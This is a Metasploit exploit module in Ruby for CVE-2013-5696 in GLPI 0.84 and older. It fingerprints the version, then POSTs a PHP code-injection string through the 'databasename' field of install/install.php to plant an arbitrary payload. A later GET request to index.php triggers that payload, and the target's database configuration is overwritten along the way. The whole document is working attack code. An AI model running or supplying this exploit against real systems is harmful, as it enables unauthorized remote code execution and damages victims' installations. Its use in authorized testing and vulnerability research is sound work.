GLPI install.php Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking # Application database configuration is overwritten  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GLPI install.php Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in the  
GLPI 'install.php' script. Users should use this exploit at his own risk,  
since it's going to overwrite database configuration.  
},  
'Author' =>  
[  
'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-5696' ],  
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ],  
[ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ],  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "#",  
'DisableNops' => true,  
'Keys' => ['php']  
},  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'GLPI 0.84 or older', { }]],  
'DisclosureDate' => 'Sep 12 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])  
], self.class)  
end  
  
def uri  
return target_uri.path  
end  
  
def check  
# Check if the GLPI instance is vulnerable  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
})  
  
if not res or res.code != 200  
return Exploit::CheckCode::Safe  
end  
  
re = '(version)(\\s+)(.*)(\\s+)(Copyright)'  
m = Regexp.new(re, Regexp::IGNORECASE)  
matched = m.match(res.body)  
if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/  
print_good("Detected Version : #{matched[3]}")  
return Exploit::CheckCode::Appears  
elsif matched  
print_error("Version #{matched[3]} is not vulnerable")  
end  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
print_status("Injecting the payload...")  
rand_arg = Rex::Text.rand_text_hex(10)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'install/install.php'),  
'vars_post' =>  
{  
'install' => 'update_1',  
'db_host' => 'localhost',  
'db_user' => 'root',  
'db_pass' => 'root',  
'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"  
}  
})  
  
unless res and res.code == 200 and res.body =~ /You will update the GLPI database/  
print_warning("Unexpected response while injecting the payload, trying to execute anyway...")  
end  
  
print_status("Executing the payload...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' =>  
{  
rand_arg => '1',  
}  
})  
end  
  
end  
`